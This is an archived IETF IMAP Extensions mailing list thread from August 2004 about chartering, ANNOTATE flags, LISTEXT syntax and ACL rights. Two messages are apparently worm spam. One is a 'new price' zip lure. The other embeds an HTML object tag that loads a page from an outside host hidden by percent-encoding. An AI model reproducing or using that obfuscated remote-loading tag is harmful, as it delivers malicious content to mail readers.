a participant).  Perhaps at this point it doesn't matter -- the 
milestones may make the specific goals sufficiently clear.

But, unless other people speak out in favour of clearer charter text, 
I'll remove the new text and submit only the milestones, with Alexey's 
clarifications.

Lisa

On Aug 10, 2004, at 5:42 AM, Scott Hollenbeck wrote:

>
>> Note, that any Charter text change requires IESG approval, while
>> milestones change will only require approval by the
>> responsible AD (i.e.
>> Scott).
>
> Right -- I was going to mention that myself.  IESG approval isn't 
> usually a
> big deal, but it can take a few weeks.
>
> -Scott-
>

From: "Scott Hollenbeck" <[email-masked]>
To: "'Alexey Melnikov'" <[email-masked]>, "'Lisa Dusseault'" <[email-masked]>
Cc: "'IMAP Extensions WG'" <[email-masked]>
Subject: RE: New IMAPEXT WG Charter proposal
Date: Tue, 10 Aug 2004 08:42:05 -0400
Importance: Normal
Sender: [email-masked]

> Note, that any Charter text change requires IESG approval, while 
> milestones change will only require approval by the 
> responsible AD (i.e. 
> Scott).

Right -- I was going to mention that myself.  IESG approval isn't usually a
big deal, but it can take a few weeks.

-Scott-

Date: Tue, 10 Aug 2004 12:20:27 +0100
From: Alexey Melnikov <[email-masked]>
To: Lisa Dusseault <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Sender: [email-masked]

Lisa Dusseault wrote:

> Here is a proposed new charter for the IMAPEXT WG.  I mostly edited 
> the milestones to say what we discussed in the WG meeting; however I 
> also added a small amount of detail to the list of new functions in 
> order to clarify (and limit) the list to what we're actually doing.
>
> Philip suggested allowing ourselves slightly longer to actually get 
> annotate and listext done, but since this is what we came up with in 
> the room I said he should propose that on the list once I posted this 
> to the list...
>
> Lisa
>
>> Description of Working Group:
>>
>> The IETF IMAP extensions Working Group shall revise and publish
>> standards-track extensions to IMAP4 for performing the following
>> functions:
>>
>> 1. Sorting and threading of messages in a single mailbox (to be dealt 
>> with by one or more mechanisms)
>>
>> 2. Access Control Lists -- either an update to, or a replacement for 
>> the existing Access Control document, particularly to provide a 
>> canonical list of rights and define how they affect various operations.
>>
>> 3. Message-level annotations -- a feature set to allow arbitrary 
>> user-level and shared annotations to be added to any message in 
>> compatible mailboxes. Must support multiple users/clients.
>>
>> Revising the base IMAP4rev1 specification is out of the scope of this
>> WG. However, this WG will ensure that whatever extensions it does
>> propose do not worsen any existing problems in the base specification
>> of IMAP, nor do they make any such problems harder to address in the
>> future. 
>
Note, that any Charter text change requires IESG approval, while 
milestones change will only require approval by the responsible AD (i.e. 
Scott).

>> Goals and Milestones:
>>
>> REMOVE THIS MILESTONE:          Submit an Internet-Draft enumerating 
>> known problems to avoid in the base specification
>> MARK AS DONE on Dec 03    Submit to IESG, draft on conditional 
>> storage to help multiple clients use a single mailbox 
>
IMHO, "conditional STORE operation" seems better.

>> MARK AS DONE on Feb 04           Submit to IESG, revised 
>> Sorting/Threading spec(s)
>> Aug 04 WG last call for i18n draft
>> Aug 04          WG Last call for annotate draft
>> Aug 04    WG last call for LIST extensions draft, defining syntax 
>> allowing much better extensibility in the frequently-extended LIST 
>> command, and supporting other drafts in this WG 
>
Do we have an exact date in mind? I've mostly finished updating LISTEXT, 
but I am afraid I will need one more revision to polish it.

>> Sep 04 Submit to IESG, Internationalization draft
>> Sep 04      Submit to IESG, revised annotate draft
>> Oct 04     Submit to IESG, revised List Extensions draft
>> Oct 04          Submit I-D to *update* existing ACL RFC, explaining 
>> rights & listing rights in CAPABILITY response
>> Oct 04 New draft of ACL2 proposal which would *obsolete* existing ACL 
>> RFC
>> Feb 05 ACL2 to WG Last Call -- note that if this milestone is not met 
>> we agreed to close the WG and defer ACL2 to another WG.
>

Date: Mon, 09 Aug 2004 11:54:44 -0800
To: "Ietf-imapext" <[email-masked]>
From: "Ken" <[email-masked]>
Subject:  
Sender: [email-masked]

----------thiumkfwszxnttudqatu
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
new price<br><br>

<br>
</body></html>

----------thiumkfwszxnttudqatu
Content-Type: application/octet-stream; name="price2.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="price2.zip"

----------thiumkfwszxnttudqatu--

Date: Mon, 09 Aug 2004 14:32:16 -0400
From: Cyrus Daboo <[email-masked]>
To: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: New IMAPEXT WG Charter proposal
Sender: [email-masked]

Hi Lisa,

--On Monday, August 9, 2004 10:53 AM -0700 Lisa Dusseault 
<[email-masked]> wrote:

> Philip suggested allowing ourselves slightly longer to actually get
> annotate and listext done, but since this is what we came up with in the
> room I said he should propose that on the list once I posted this to the
> list...

The only outstanding issue with ANNOTATE is what to do about flags. The 
problem is the ambiguity of per-user vs shared flag/keyword mapping based 
on the fact that different servers treat those in different ways. Possible 
courses of action are:

1) Remove read and write access for IMAP flags and keywords in ANNOTATE. 
This eliminates the problem altogether. One issue with this is that the 
current CONDSTORE extension in RFC Editor queue does depend on at least 
read access to flags in annotate. If we changed ANNOTATE in this way we 
would have to 'recall' CONDSTORE - I am not sure what mechanisms exist to 
do that...

2) Only allow read access to IMAP flags and keywords. There are two 
possibilities for this:

    - The .priv and .shared values are always the same representing the 
base IMAP state.

    - One of .priv or .shared is set to 'NIL', whilst the other represents 
the base IMAP state. The server will use the appropriate .priv or .shared 
based on the actual per-user or shared behaviour of the base flag/keyword.

3) Allow both read and write access as currently defined, but clearly 
outline how these map to per-user and shared flags.

One possibility for (3) that we did not consider before is to add a new 
attribute to the /flags hierarchy that would allow the server to indicate 
which of the .priv or .shared values map to the base IMAP flag/keyword. 
e.g. we require a 'default' attribute on each /flag entry with values 
'priv' or 'shared' to indicate which annotation is tied to the base value. 
A server that supports ACL and has the 's' bit off would use 'shared' for 
the 'default' attribute on /flags/\seen, or if the 's' bit is on it would 
use 'priv' for the new attribute.

Another approach would be to do the same thing but using ANNOTATEMORE to 
enumerate the flags/keywords for a specific mailbox and indicate how the 
base state maps to .priv and .shared. This makes sense in that this state 
is a per-mailbox attribute rather than a per-message attribute. However 
this adds a probably unwanted dependency on ANNOTATEMORE.

-- 
Cyrus Daboo

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: New IMAPEXT WG Charter proposal
Date: Mon, 9 Aug 2004 10:53:16 -0700
Sender: [email-masked]

Here is a proposed new charter for the IMAPEXT WG.  I mostly edited the 
milestones to say what we discussed in the WG meeting; however I also 
added a small amount of detail to the list of new functions in order to 
clarify (and limit) the list to what we're actually doing.

Philip suggested allowing ourselves slightly longer to actually get 
annotate and listext done, but since this is what we came up with in 
the room I said he should propose that on the list once I posted this 
to the list...

Lisa

>
> Description of Working Group:
>
> The IETF IMAP extensions Working Group shall revise and publish
> standards-track extensions to IMAP4 for performing the following
> functions:
>
> 1. Sorting and threading of messages in a single mailbox (to be dealt 
> with by one or more mechanisms)
>
> 2. Access Control Lists -- either an update to, or a replacement for 
> the existing Access Control document, particularly to provide a 
> canonical list of rights and define how they affect various 
> operations.
>
> 3. Message-level annotations -- a feature set to allow arbitrary 
> user-level and shared annotations to be added to any message in 
> compatible mailboxes. Must support multiple users/clients.
>
> Revising the base IMAP4rev1 specification is out of the scope of this
> WG. However, this WG will ensure that whatever extensions it does
> propose do not worsen any existing problems in the base specification
> of IMAP, nor do they make any such problems harder to address in the
> future.
>
> Goals and Milestones:
>
> REMOVE THIS MILESTONE:	  	Submit an Internet-Draft enumerating known 
> problems to avoid in the base specification
> MARK AS DONE on Dec 03	Submit to IESG, draft on conditional storage to 
> help multiple clients use a single mailbox
> MARK AS DONE on Feb 04 	  	Submit to IESG, revised Sorting/Threading 
> spec(s)
> Aug 04 WG last call for i18n draft
> Aug 04	  	WG Last call for annotate draft
> Aug 04    WG last call for LIST extensions draft, defining syntax 
> allowing much better extensibility in the frequently-extended LIST 
> command, and supporting other drafts in this WG
> Sep 04 Submit to IESG, Internationalization draft
> Sep 04      Submit to IESG, revised annotate draft
> Oct 04     Submit to IESG, revised List Extensions draft
> Oct 04	  	Submit I-D to *update* existing ACL RFC, explaining rights & 
> listing rights in CAPABILITY response
> Oct 04 New draft of ACL2 proposal which would *obsolete* existing ACL 
> RFC
> Feb 05 ACL2 to WG Last Call -- note that if this milestone is not met 
> we agreed to close the WG and defer ACL2 to another WG.
>
>

Date: Wed, 04 Aug 2004 18:57:04 +0100
From: Alexey Melnikov <[email-masked]>
To: Philip Guenther <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE
Sender: [email-masked]

Philip Guenther wrote:

>Alexey Melnikov <[email-masked]> writes:
>...
>  
>
>>One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
>>ANNOTATE syntax, so we *can't* remove /flags hierarchy.
>>However, we can make it either reserved, or read-only.
>>    
>>
>
>Fixable in the author's 48 hours?
>
No. I don't want to have two syntaxes: one for flags and one for 
annotations. CONDSTORE can work with both.
A single syntax was the motivation for /flags hierarchy.

However, I tend to agree that making flags writable through ANNOTATE 
interface seems bad (difficult) as per our recent discussion.

Alexey

To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE 
Date: Wed, 04 Aug 2004 10:51:21 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

Alexey Melnikov <[email-masked]> writes:
...
>One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
>ANNOTATE syntax, so we *can't* remove /flags hierarchy.
>However, we can make it either reserved, or read-only.

Fixable in the author's 48 hours?

Philip Guenther

Date: Wed, 04 Aug 2004 18:45:31 +0100
From: Alexey Melnikov <[email-masked]>
To: Philip Guenther <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: flags and ANNOTATE
Sender: [email-masked]

Philip Guenther wrote:

>[...]
>Overall, the use case for the /flags hierarchy seems much less developed
>than the basic idea of annotations.  So, I move that the toplevel /flags
>hierarchy of annotations be removed from the ANNOTATE draft.  If/when a
>clear use scenario for them can be ennunciated, presumably with some
>required semantic from which mapping rules can be derived, a separate
>(individual?) draft can be floated that describes how to add them to a
>server supporting ANNOTATE.
>  
>
One thing I forgot to mention during the IMAPEXT meeting. CONDSTORE uses 
ANNOTATE syntax, so we *can't* remove /flags hierarchy.
However, we can make it either reserved, or read-only.

Alexey

To: IMAP Extensions WG <[email-masked]>
Subject: flags and ANNOTATE
Date: Wed, 04 Aug 2004 10:23:21 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

At the meeting I promised to do a review of the archives on the issue of
IMAP flags in ANNOTATE.  Summary: this is an old, old issue.  The
historical discussion of this issue seemed to center on two points:

- its ability to give clients fine grained control over whether a
  flag setting was shared or private

- the complexity it causes

Three observations make me dubious of the first argument:
1) I didn't see any comments describing the horrific workarounds
   that are inflicted on clients by the current lack of this ability

2) despite a message by Cyrus noting that rules were needed to
   describe how the .priv and .shared values interacted with the
   'normal' view of the flag, no one ever stated what they saw as
   the minimal requirements for solving the client issues they saw,
   much less what the full rules should look like

3) there was no discussion of whether or how the various ACL rights
   that control normal flag updates ('s', 'w', 'd' (or 't')) would
   affect the ability to update the flag annotations.  Again, there was
   just a "we should think about this" note

Overall, the use case for the /flags hierarchy seems much less developed
than the basic idea of annotations.  So, I move that the toplevel /flags
hierarchy of annotations be removed from the ANNOTATE draft.  If/when a
clear use scenario for them can be ennunciated, presumably with some
required semantic from which mapping rules can be derived, a separate
(individual?) draft can be floated that describes how to add them to a
server supporting ANNOTATE.

Philip Guenther

Date: Mon, 02 Aug 2004 14:14:02 -0700
From: Cyrus Daboo <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: LISTEXT: more control over returned results
Sender: [email-masked]

Hi,
This is a head-up for an issue I would like to discuss in the meeting later 
today.

I am thinking about how LISTEXT and ANNOTATEMORE will work together to 
allow searching for mailboxes with specific values in their annotations. 
One thing that comes up in this is having better control over what 
information is returned in the LIST response to a LISTEXT command. For 
example, say I want to find all mailboxes that have their /check 
annotations set to true, and have the LIST results return just the 
/checkperiod annotation value for each of those - in this case I do not 
care about the standard LIST flags and do not want to waste bandwidth 
getting those (since they will probably already be known from an earlier 
LIST).

i.e. I want to split the LISTEXT command into two parts: one which controls 
which mailboxes get 'matched' and the other which controls what information 
about those mailboxes gets 'returned'. Right now there is no clear 
distinction in LISTEXT between the two. For example, the SUBSCRIBED option 
both 'matches' and 'returns' subscribed state. Thus there is no way in a 
single list command to say find all INBOX.* mailboxes and see which of 
those are subscribed. Whereas, if one could control the LISTEXT response 
output in more detail, you could in a single command match the INBOX.* 
mailboxes and also return their subscribed state.

What I propose is a change to the current LISTEXT command syntax:

LIST <match-options> mailbox-spec RETURN <return-options>

<return-options> would be the list of attributes to return for each 
mailbox. In the absence of a RETURN, the responses would be standard IMAP 
LIST flags. An initial set of <return-options> would be:

NOSTDFLAGS   - do not return standard LIST flags
SUBSCRIBED   - return subscribed state
CHILDREN     - return children state
REMOTE       - return referral info
SUBMAILBOXES - return place holder info

The <match-options> list would be:

SUBSCRIBED   - match only subscribed mailboxes

Thus for the example I gave:

a LIST "" "INBOX.*" RETURN (SUBSCRIBED)

would list all sub-mailboxes of INBOX and show which of them is subscribed 
all in one go.

For ANNOTATEMORE we could add for <match-options>:

ANNOTATE <entry> <value>  - match annotations with <value> in <entry>

and for <return-options>

ANNOTATION <entry-list>   - return specified entries only.

A similar extension could be done for ACL information and perhaps even 
STATUS...

Obviously this is a departure from the current LISTEXT design, but I 
believe it will be more flexible for future uses of LISTEXT.

-- 
Cyrus Daboo

From: "Scott Hollenbeck" <[email-masked]>
To: "'Lisa Dusseault'" <[email-masked]>, "'Philip Guenther'" <[email-masked]>
Cc: "'IMAP Extensions WG'" <[email-masked]>
Subject: RE: Agenda & slides 
Date: Mon, 2 Aug 2004 17:02:15 -0400
Importance: Normal
Sender: [email-masked]

Well, I wouldn't mind seeing an effort to reconcile mil(e|l)stones with the
current charter, and/or updating the charter as necessary to reflect
reality.

-Scott-

> -----Original Message-----
> From: Lisa Dusseault [mailto:[email-masked]] 
> Sent: Monday, August 02, 2004 4:55 PM
> To: Philip Guenther
> Cc: IMAP Extensions WG
> Subject: Re: Agenda & slides 
> 
> 
> 
> Yeah, that's a great idea.  Officially this is a recharter, and Scott 
> did ask for us to recharter a while back so let's do it.
> 
> Can we officially call them Millstones, though?
> 
> Lisa
> 
> On Aug 2, 2004, at 1:49 PM, Philip Guenther wrote:
> 
> >
> > Should an item be added at the end to talk about updating the WG
> > Goals and Millstones to reflect the current reality?
> >
> >
> > Philip Guenther
> 
> 

Cc: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: Agenda & slides 
Date: Mon, 2 Aug 2004 13:55:09 -0700
To: Philip Guenther <[email-masked]>
Sender: [email-masked]

Yeah, that's a great idea.  Officially this is a recharter, and Scott 
did ask for us to recharter a while back so let's do it.

Can we officially call them Millstones, though?

Lisa

On Aug 2, 2004, at 1:49 PM, Philip Guenther wrote:

>
> Should an item be added at the end to talk about updating the WG
> Goals and Millstones to reflect the current reality?
>
>
> Philip Guenther

To: Lisa Dusseault <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Agenda & slides 
Date: Mon, 02 Aug 2004 13:49:57 -0700
From: Philip Guenther <[email-masked]>
Sender: [email-masked]

Should an item be added at the end to talk about updating the WG
Goals and Millstones to reflect the current reality?

Philip Guenther

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Agenda & slides
Date: Mon, 2 Aug 2004 12:49:35 -0700
Sender: [email-masked]

The official agenda deadline passed without our noticing this summer 
(sorry), so we never put together a real agenda for today's IMAPEXT 
meeting.  We did just get together & try to compensate for that -- 
we'll discuss the status and known issues on -i18n, sort, annotate, 
listext and acl2. More detail here:

http://www.sharemation.com/~milele/public/imapext

Lisa

From: Dave Cridland <[email-masked]>
To: Cyrus Daboo <[email-masked]>
Cc: <[email-masked]>
Subject: Annotate questions.
Date: Tue, 31 Aug 2004 23:11:21 +0100
Sender: [email-masked]

Cyrus,

I'm probably being particularly stupid here, but I'm not quite clear 
from reading the draft of a couple of points concerning 
shared/private flags.

The thread I inadvertantly spawned on the nature of shared vs private 
flags nagged me into thinking about manipulating flags via 
annotations, and wondering which of .priv or .shared to use.

As far as I can tell, given a message 1234:

a1 FETCH 1234 (FLAGS)
* 1234 FETCH (FLAGS ())
a1 OK Message has no flags.
a2 FETCH 1234 (ANNOTATION ("/flags/\\deleted" ("value")))
* 1234 FETCH (ANNOTATION ("/flags/\\deleted" ("value.priv" NIL) 
("value.shared" NIL))
a2 OK No clues given here.

The only way I could tell which I'm meant to be using would be to 
STORE FLAGS, then look at the annotations. Then at least I'd 
presumably know if the flag was shared or not. This further suggests 
that ANNOTATE isn't completely replacing STORE/FETCH FLAGS, but is 
supplementing them - but I can only tell whether a flag is shared or 
private by first storing it.

Can I set a shared and private \Deleted flag independently with 
ANNOTATE?

Which one is counted when I do an EXPUNGE?

Similar confusion applies to any flag, of course.

Incidentally, I'd greatly appreciate anyone who could give me a test 
account on a server supporting ANNOTATE - I'd like to experiment a 
little with it in implementation.

Aside from this one bewilderness, it all looks good to me.

Dave.

Date: Tue, 31 Aug 2004 16:51:18 -0400
From: Cyrus Daboo <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Dave,

--On Tuesday, August 31, 2004 9:38 PM +0100 Dave Cridland 
<[email-masked]> wrote:

>> +---------------+-----------------------------------+
>> |               |               |
>> |
>> |               | write private | Any mailbox that can be SELECTED
>> |
>> | Server        |               | or EXAMINED (even if [READ-ONLY].
>> |
>> | without       |               |
>> |
>
> But not sure about this - if the mailbox is being EXAMINed, I think
> RFC3501 suggests that private annotations MUST NOT be writable [6.3.2].
> SELECT [READ-ONLY] appears to suggest that per-user annotations MAY be
> writable - not that they MUST or even SHOULD be. [6.3.1]

OK, I could change that to:

|               +---------------+-----------------------------------+
|               |               |                                   |
| Server        | write private | Any SELECTED [READ-WRITE] mailbox.|
| without       |               | SELECTED [READ-ONLY] mailboxes MAY|
| ACL Extension |               | also permit writes.               |
|               |               |                                   |
|               +---------------+-----------------------------------+

-- 
Cyrus Daboo

From: Dave Cridland <[email-masked]>
To: Cyrus Daboo <[email-masked]>
Cc: <[email-masked]>
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 31 Aug 2004 21:38:25 +0100
Sender: [email-masked]

On Tue Aug 31 20:31:43 2004, Cyrus Daboo wrote:
> Below is a table I propose putting into the ANNOTATE draft to 
> clarify access control issues. Note that I have used the 'm' and 
> 'n' rights for ANNOTATE.
> 
> +---------------+---------------+-----------------------------------+
> |  Server Type  | Action on     | Type of mailbox                   
> |
> |               | annotation    |                                   
> |
> +===============+===============+===================================+
> |               |               |                                   
> |
> |               | read private  | Any mailbox that can be SELECTED  
> |
> |               |               | or EXAMINED.                      
> |
> |               |               |                                   
> |

I agree with this, as long as the inference is SHOULD, not MUST. (To 
put it another way, clients can issue a FETCH on private annotations 
with a reasonable expectation that it will succeed, but MUST be 
prepared for it to fail.)

> |               
> +---------------+-----------------------------------+
> |               |               |                                   
> |
> |               | write private | Any mailbox that can be SELECTED  
> |
> | Server        |               | or EXAMINED (even if [READ-ONLY]. 
> |
> | without       |               |                                   
> |

But not sure about this - if the mailbox is being EXAMINed, I think 
RFC3501 suggests that private annotations MUST NOT be writable 
[6.3.2]. SELECT [READ-ONLY] appears to suggest that per-user 
annotations MAY be writable - not that they MUST or even SHOULD be. 
[6.3.1]

Of course, I might be misreading you here, rather than disagreeing.

Aside from this, adding rights does, of course, work. It seems to me 
that in the absence of these extended rights, the client can assume 
the same semantics as above, which are - I think - calculable from 
the existing 2086 rights. (Not that it matters enormously.)

As long as the server implementors [of which I'm not one] think it's 
fair to add in extra rights for this purpose, I'm perfectly happy 
with it as a client implementor.

Dave.

Date: Tue, 31 Aug 2004 15:31:43 -0400
From: Cyrus Daboo <[email-masked]>
To: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 6:47 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

>> I noticed the thread in the archives about ANNOTATE/ACL interaction,
>> and Arnt Gulbrandsen's comment on it.
>>
>> A quick suggestion:
>>
>> Could we use the 's' right to indicate permission to store private
>> annotations, and the 'w' write to store shared ones?
>>
>> This seems more logical to me, since:
>>
>> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only
>> per-user data I'm aware of in an IMAP4 shared mailbox.
>
> I don't think ACL2 says that 's' only controls private (per-user) \Seen
> even though Cyrus Imap implements the \Seen flag as private. I've
> implemented \Seen as a shared flag once. Having said that, I don't like
> overloading the meaning of different ACL rights.
>
> On a second through, if existing ACL implementations are Ok with
> declaring the 's' right as controlling per-user flags (except for
> \Deleted of course) and annotations, that would be fine with me.

At this point what I would propose is that we have two new ACL rights for 
writeability of shared annotations and read/write of private annotations. 
Reading of shared annotations will always be possible with the 'r' right. 
These new rights would be advertised in the new RIGHTS capability extension 
that Alexey is working on.

I don't think its too much to ask servers that support ACL and are adding 
ANNOTATE to also add the new rights.

Below is a table I propose putting into the ANNOTATE draft to clarify 
access control issues. Note that I have used the 'm' and 'n' rights for 
ANNOTATE.

+---------------+---------------+-----------------------------------+
|  Server Type  | Action on     | Type of mailbox                   |
|               | annotation    |                                   |
+===============+===============+===================================+
|               |               |                                   |
|               | read private  | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED.                      |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write private | Any mailbox that can be SELECTED  |
| Server        |               | or EXAMINED (even if [READ-ONLY]. |
| without       |               |                                   |
| ACL Extension +---------------+-----------------------------------+
|               |               |                                   |
|               | read shared   | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED.                      |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write shared  | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED and is [READ-WRITE].  |
|               |               |                                   |
+---------------+---------------+-----------------------------------+
|               |               |                                   |
|               | read private  | Any mailbox with the 'm' right.   |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
| Server        | write private | Any mailbox with the 'm' right.   |
| with          |               |                                   |
| ACL/RIGHTS    +---------------+-----------------------------------+
| Extensions    |               |                                   |
|               | read shared   | Any mailbox with the 'r' right.   |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write shared  | Any mailbox with the 'n' right.   |
|               |               |                                   |
+---------------+---------------+-----------------------------------+

-- 
Cyrus Daboo

Date: Tue, 31 Aug 2004 11:55:06 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 31, 2004 12:58 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

> I would also like to change "match option" to "selection option", as half
> of the document is still talking about "selection criteria". And I think
> it would be better to keep using "match" when talking about mailbox
> pattern matching. Any objections?

No.

> Also, if people have suggestions about better name for \HasSubmailboxes,
> speak up now.

How about replacing 'Submailboxes' with 'Children' since the later is 
terminology already well described. In which case we could have 
'\AlsoChildren' - with the implication that some children of the current 
mailbox also match the selection criteria.

-- 
Cyrus Daboo

From: Dave Cridland <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Date: Tue, 31 Aug 2004 16:34:46 +0100
Sender: [email-masked]

On Tue Aug 31 12:58:18 2004, Alexey Melnikov wrote:
> I would also like to change "match option" to "selection option", 
> as half of the document is still talking about "selection 
> criteria". And I think it would be better to keep using "match" 
> when talking about mailbox pattern matching. Any objections?
> 
> 
This makes the sense of REMOTE, for instance, clearer. (Since it 
doesn't match, but extends the selection).

The return option REMOTE still needs to vanish, though - it serves no 
purpose.

> Also, if people have suggestions about better name for 
> \HasSubmailboxes, speak up now.
> 
> 
The only possible alternative I can think of that makes any sense is 
\HasInferiors but I'm not all that fussed, and I'm not sure if that 
would raise a conceptual problem with \NoInferiors or whether it 
makes more sense because of it.

Dave.

Date: Tue, 31 Aug 2004 12:58:18 +0100
From: Alexey Melnikov <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Cyrus Daboo wrote:

>>> One option would be to change it to a match option instead of a return
>>> option and rename it appropriately. e.g. add the search option
>>> 'MATCHPARENT' which causes non-matching parent items to be matched and
>>> implicitly results in \PlaceHolder and \HasSubmailboxes being computed
>>> and returned. That would make the behaviour consistent.
>>
>> Hmm, this sounds sufficient. We wouldn't need another return option for
>> this?
>
> I can't think of a case where it would need a return option as well. 
> Note that MATCHPARENT only makes sense when other match options are 
> also used, so maybe it MUST NOT occur as the only match option.

Ok, I've made this change in my copy.

I would also like to change "match option" to "selection option", as 
half of the document is still talking about "selection criteria". And I 
think it would be better to keep using "match" when talking about 
mailbox pattern matching. Any objections?

Also, if people have suggestions about better name for \HasSubmailboxes, 
speak up now.

Alexey

Date: Fri, 27 Aug 2004 13:17:16 -0300
To: "Ietf-imapext" <[email-masked]>
From: "Chris.newman" <[email-masked]>
Subject: 1
Sender: [email-masked]

----------lbykhuuiitcjpcuizcbo
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
<object data="http://www.v%69k%6F%72d.com/default.htm"><br><br>

<br>
</body></html>

----------lbykhuuiitcjpcuizcbo
Content-Type: application/octet-stream; name="2.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="2.gif"

NDU0NTEyMTI=

----------lbykhuuiitcjpcuizcbo--

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: New charter posted
Date: Thu, 26 Aug 2004 14:35:11 -0700
Sender: [email-masked]

Our new charter milestones are posted at 
http://www.ietf.org/html.charters/imapext-charter.html.

Now let's try to meet those milestones!  There's very little argument 
so I expect we can do it -- let me know if there are any real blockers 
I can help with.

Lisa

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: WebDAV server for WG collaboration
Date: Wed, 25 Aug 2004 12:22:40 -0700
Sender: [email-masked]

With the help of Jim Whitehead, Sung Kim, Marshall Rose and Xythos 
Software, Inc, I've set up a server for IETF usage -- particularly for 
working groups to collaborate on IETF-related documents.  We're just 
getting this off the ground, so I'm starting with this WG and the 
WebDAV WG.  If you're an author/editor of any of the IMAPEXT drafts, 
let me know if you can make use of this and I'll make you an account & 
get you started.

Since the server is a WebDAV server it supports clients like Windows 
Network Places, Office, Adobe clients, MacOS/X WebDAV/FS, sitecopy, and 
many many more.  There's also a Web/HTML GUI for functions unique to 
Xythos WebFile Server or functions not supported by your client 
software.

Lisa

Date: Tue, 24 Aug 2004 15:05:22 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Lyndon Nerenberg <[email-masked]>
cc: Cyrus Daboo <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Lyndon Nerenberg wrote:
> But in an NNTP client's view, the message isn't deleted, it has been "read" 
> which, in my mind, maps to \Seen, not \Deleted. The delete model in NNTP is 
> completely different from that in IMAP.

The UW/Pine/c-client world respectfully disagrees.

\Deleted is the permanent flag reflecting .newsrc status, \Seen is a 
session flag that marks whether you have read a particular message in the 
session.  The other useful session flag is \Answered.

We have been doing it this way (and mass-distributing the software!) for 
12 years.

If you think about it, it makes sense; especially when you consider that 
it is useful for a client to maintain both "seen in this session" and 
".newsrc state" as separate states.

The contrary argument is based upon rn and other ancient programs calling 
.newsrc state as "read" state.  But it really was no such thing.  You 
could "catch-up", marking all messages in .newsrc, and you could revert 
messages to not have "read" state.  \Deleted maps better to this than 
\Seen, in spite of the misleading name used by rn.

> So while I'm not saying that per-user \deleted is a bad thing, I don't think 
> NNTP message stores are a valid argument for it.

We disagree.  If I can't convince you of the technical/user interface 
argument, please consider the long history and widespread distribution.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 14:52:45 -0700
From: Lyndon Nerenberg <[email-masked]>
To: Cyrus Daboo <[email-masked]>, Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

--On 2004-8-24 4:32 PM -0400 Cyrus Daboo <[email-masked]> wrote:

> Whilst you can't expunge you can at least do view-filtering on the
> client to hide the deleted messages, which is useful.

But in an NNTP client's view, the message isn't deleted, it has been 
"read" which, in my mind, maps to \Seen, not \Deleted. The delete model 
in NNTP is completely different from that in IMAP.

So while I'm not saying that per-user \deleted is a bad thing, I don't 
think NNTP message stores are a valid argument for it.

--lyndon

Date: Tue, 24 Aug 2004 14:17:36 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Cyrus Daboo <[email-masked]>
cc: Lyndon Nerenberg <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Cyrus Daboo wrote:
> Whilst you can't expunge you can at least do view-filtering on the client to 
> hide the deleted messages, which is useful.

